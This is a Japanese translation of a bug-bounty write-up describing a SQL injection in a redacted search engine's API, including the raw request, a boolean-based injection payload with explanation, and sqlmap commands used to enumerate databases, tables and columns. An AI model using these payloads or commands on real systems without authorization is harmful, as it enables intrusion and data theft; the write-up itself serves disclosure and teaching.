SQL Injection Bug Bounty POC! から学ぶ

ソース:

medium.com

脆弱性SQLインジェクション

 

訳:

数日前、私はバグ報奨金プログラムに参加しようとして、まだ実行され管理されているプログラムを検索しようとし。

****プログラムを見つけ。

参考までに、ターゲットはヨーロッパの検索エンジンで。
グーグルか何かのように。 標的はフランスだと。

スコープは: *.xxxx.com

 

さて、本題に移り。

脆弱性api.xxx.com にあることがわかり。

 

これはBurp で得た生で。

 

GET /api/trend/get?locale=en_GB&device=desktop&uiv=4 HTTP/1.1
Host: api.xxxx.com
Content-Type: application/x-www-form-urlencoded
Origin: https://www.xxx.com
Connection: close
blablabla

これがペイロード : locale=en_GB’) AND 1234=(SELECT (CASE WHEN (1234=1234) THEN 1234 ELSE (SELECT 4376 UNION SELECT 4107) END)) — BWMI&device=desktop&uiv=4

 

ペイロードについて:

このSQLインジェクションペイロードは、エラーベースのSQLインジェクションの一種であり、特定の条件が真(true)の場合にのみデータベースから情報を抽出することを試み。

  • 最初の部分 ') は、既存のSQLクエリを閉じるために使用されることがあり。
    これは、クエリの終了を示すために使われる単一引用符とカッコを含むことが一般的で。
  • AND 1234= は、追加の条件をSQLクエリに挿入するために使用され。
    これにより、攻撃者はクエリの振る舞いを制御し、データベースに対する論理的なテストを導入でき。
  • SELECT (CASE WHEN (1234=1234) THEN 1234 ELSE (SELECT 4376 UNION SELECT 4107) END) は、条件式でー。
    この条件式では 1234=1234 という明らかに真の条件をテストしてー。
    これが真の場合、データベースは 1234 を返し。
    偽の場合は、43764107 をUNIONで組み合わせた結果を返そうとして。

このペイロードの目的は、条件が真の場合のみクエリを成功させることにあって。
攻撃者はこのようなペイロードを用いて、アプリケーションが特定の入力に対してどのように反応するかを探ることができ、エラーメッセージやその他の応答からデータベースの構造情報を推測できる場合があり。
この種の攻撃は、アプリケーションがユーザー入力を適切に検証またはエスケープしていない場合に有効で。

  1. rawを.txt形式でメモ帳に保存し
  2. 私はターミナルからsqlmapを実行します(Macを使用したためです。これのみを使用します sqlmap -r /xxx/xxx/xxx/files.txt — dbs
  3. 素晴らしいものを手に入れた、データベースも手に入れた
  4. そして私はデータベース以上のものを取得しようとして。
    最初にこの sqlmap -r /xxx/xxx/xxx/files.txt -D xxx — tables を使用してテーブルをチェックしようとし。
  5. そこでたくさんのテーブルを見つけましたが、私にとって興味深いものがありました。 次に列を取得しようとし。
  6. sqlmap -r /xxx/xxx/xxx/files.txt -D xxx -T xxx — columns
  7. コラムを入手し。非常に興味深いので、DBのフィールドを取得して。
  8. タダァァァ、欲しいものは手に入れ。

 

ほなほな。